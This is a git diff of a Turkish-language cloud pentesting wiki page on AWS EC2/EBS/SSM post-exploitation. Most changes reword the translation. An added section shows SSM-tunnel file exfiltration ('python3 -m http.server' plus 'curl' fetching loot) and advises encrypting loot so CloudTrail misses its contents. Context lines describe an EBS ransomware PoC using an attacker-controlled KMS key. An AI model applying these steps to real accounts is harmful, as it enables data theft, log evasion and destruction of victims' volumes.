diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index f721b08b6..2b29c8c0a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Çalışan Örneği Kopyala -Örnekler genellikle bazı hassas bilgileri içerir. İçeri girmek için farklı yollar vardır (bakınız [EC2 ayrıcalık yükseltme hileleri](../../aws-privilege-escalation/aws-ec2-privesc.md)). Ancak, içeriğin ne içerdiğini kontrol etmenin bir diğer yolu **bir AMI oluşturmak ve ondan yeni bir örnek çalıştırmaktır (hatta kendi hesabınızda bile)**: +Örnekler genellikle bazı hassas bilgileri içerir. İçeri girmek için farklı yollar vardır (kontrol edin [EC2 ayrıcalık yükseltme hileleri](../../aws-privilege-escalation/aws-ec2-privesc.md)). Ancak, içeriğin ne içerdiğini kontrol etmenin bir diğer yolu **bir AMI oluşturmak ve ondan yeni bir örnek çalıştırmaktır (hatta kendi hesabınızda bile)**: ```shell # List instances aws ec2 describe-images @@ -50,7 +50,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ### EBS Snapshot dump **Anlık görüntüler, hacimlerin yedekleridir**, genellikle **hassas bilgiler** içerecektir, bu nedenle bunları kontrol etmek bu bilgileri açığa çıkarabilir.\ -Eğer **anlık görüntüsü olmayan bir hacim** bulursanız: **Bir anlık görüntü oluşturabilir** ve aşağıdaki işlemleri gerçekleştirebilir veya sadece **bir örneğe monte edebilirsiniz**: +Eğer **anlık görüntüsü olmayan bir hacim** bulursanız: **Bir anlık görüntü oluşturabilir** ve aşağıdaki işlemleri gerçekleştirebilir veya sadece **bir örnekte bağlayabilirsiniz**: {{#ref}} aws-ebs-snapshot-dump.md @@ -60,7 +60,7 @@ aws-ebs-snapshot-dump.md #### DNS Sızdırma -Bir EC2'yi dışarıya trafik çıkmayacak şekilde kilitleseniz bile, hala **DNS üzerinden sızdırabilir**. +Bir EC2'yi dışarıya trafik çıkamayacak şekilde kilitleseniz bile, hala **DNS üzerinden sızdırabilir**. - **VPC Akış Günlükleri bunu kaydetmeyecek**. - AWS DNS günlüklerine erişiminiz yok. @@ -100,7 +100,7 @@ Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle > Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Makinenizde SessionManagerPlugin'i yükleyin -2. Aşağıdaki komutu kullanarak Bastion EC2'ye giriş yapın: +2. Aşağıdaki komutla Bastion EC2'ye giriş yapın: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` @@ -121,9 +121,50 @@ kubectl get pods --insecure-skip-tls-verify ``` Not edin ki SSL bağlantıları, `--insecure-skip-tls-verify` bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurursak, MitM saldırılarından korunmuş olursunuz. -Son olarak, bu teknik özel EKS kümelerine saldırmak için spesifik değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için keyfi alan adları ve portlar ayarlayabilirsiniz. +Son olarak, bu teknik özel EKS kümelerine saldırmak için spesifik değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için rastgele alan adları ve portlar ayarlayabilirsiniz. -### Share AMI +--- + +#### Hızlı Yerel ↔️ Uzak Port Yönlendirme (AWS-StartPortForwardingSession) + +Eğer sadece **EC2 örneğinden yerel ana bilgisayarınıza bir TCP portunu yönlendirmeye** ihtiyacınız varsa, `AWS-StartPortForwardingSession` SSM belgesini kullanabilirsiniz (uzak ana bilgisayar parametresi gerekmez): +```bash +aws ssm start-session --target i-0123456789abcdef0 \ +--document-name AWS-StartPortForwardingSession \ +--parameters "portNumber"="8000","localPortNumber"="8000" \ +--region +``` +Komut, çalışma istasyonunuz (`localPortNumber`) ile örnekteki seçilen port (`portNumber`) arasında **herhangi bir inbound Security-Group kuralı açmadan** iki yönlü bir tünel kurar. + +Yaygın kullanım senaryoları: + +* **Dosya sızdırma** +1. Örnekte, sızdırmak istediğiniz dizine işaret eden hızlı bir HTTP sunucusu başlatın: + +```bash +python3 -m http.server 8000 +``` + +2. Çalışma istasyonunuzdan dosyaları SSM tüneli aracılığıyla alın: + +```bash +curl http://localhost:8000/loot.txt -o loot.txt +``` + +* **İç web uygulamalarına erişim (örn. Nessus)** +```bash +# Forward remote Nessus port 8834 to local 8835 +aws ssm start-session --target i-0123456789abcdef0 \ +--document-name AWS-StartPortForwardingSession \ +--parameters "portNumber"="8834","localPortNumber"="8835" +# Browse to http://localhost:8835 +``` +İpucu: CloudTrail'in açık metin içeriğini kaydetmemesi için kanıtları dışarı aktarımından önce sıkıştırın ve şifreleyin: +```bash +# On the instance +7z a evidence.7z /path/to/files/* -p'Str0ngPass!' +``` +### AMI Paylaşımı ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` @@ -137,9 +178,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanıldığı göz önüne alındığında, Ransomware Yönetim Servisi (RMS) olarak yeniden adlandırılmalıdır. +S3 sonrası istismar notlarında gösterilen Ransomware gösterimine benzer bir kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için kullanmanın ne kadar kolay olduğu göz önüne alındığında, Ransomware Yönetim Servisi (RMS) olarak yeniden adlandırılmalıdır. -Öncelikle bir 'saldırgan' AWS hesabından KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnekte, AWS'nin anahtar verilerini benim için yönetmesini sağlayacağız, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutacaktır. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırılmıştır. +Öncelikle bir 'saldırgan' AWS hesabından KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutar. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırılmıştır. ``` { "Version": "2012-10-17", @@ -231,7 +272,7 @@ S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer ] } ``` -Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekir: +Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekmektedir: - `kms:CreateGrant` - `kms:Decrypt` @@ -239,17 +280,17 @@ Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmes - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Artık kullanılacak kamuya açık anahtar ile, şifrelenmemiş EBS hacimleri eklenmiş bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabının EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir. +Artık kullanılacak kamuya açık anahtara sahip olduğumuza göre, şifrelenmemiş EBS hacimleri eklenmiş bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabın EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -S3 fidye yazılımı örneğine benzer şekilde, bu saldırı ekli EBS hacimlerinin kopyalarını anlık görüntüler kullanarak oluşturacak, 'saldırgan' hesabından kamuya açık anahtarı kullanarak yeni EBS hacimlerini şifreleyecek, ardından orijinal EBS hacimlerini EC2 örneklerinden ayıracak ve silecek, ve son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan anlık görüntüleri silecektir. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 fidye yazılımı örneğine benzer şekilde, bu saldırı ekli EBS hacimlerinin kopyalarını anlık görüntüler kullanarak oluşturacak, 'saldırgan' hesabından kamuya açık anahtarı kullanarak yeni EBS hacimlerini şifreleyecek, ardından orijinal EBS hacimlerini EC2 örneklerinden ayıracak ve silecektir; son olarak, yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan anlık görüntüleri de silecektir. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) Bu, hesapta yalnızca şifrelenmiş EBS hacimlerinin kalmasıyla sonuçlanır. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Ayrıca, script'in orijinal EBS hacimlerini ayırmak ve silmek için EC2 örneklerini durdurduğunu belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok. +Ayrıca, scriptin EC2 örneklerini durdurduğunu ve orijinal EBS hacimlerini ayırıp sildiğini belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) @@ -328,11 +369,11 @@ Biraz bekleyin, yeni ayarlanan anahtar politikasının yayılmasını bekleyin. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmayı denediğinizde, sadece başarısız olacak ve 'beklemede' durumundan 'durdu' durumuna sonsuza kadar geri dönecektir çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor. +Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmayı denediğinizde, sadece başarısız olacak ve 'beklemede' durumundan 'durdu' durumuna sonsuza kadar geri dönecektir, çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık bir AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine bağlı Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecek ve nihayetinde süreçte kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ YALNIZCA BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarı ile bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim. +Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine bağlı Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecektir ve nihayetinde süreçte kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarını kullanarak bunları geri yükleyebilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri döndürebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim. ``` import boto3 import argparse @@ -449,4 +490,8 @@ delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` +## Referanslar + +- [Pentest Partners – AWS'de SSM kullanarak dosya transferi nasıl yapılır](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) + {{#include ../../../../banners/hacktricks-training.md}}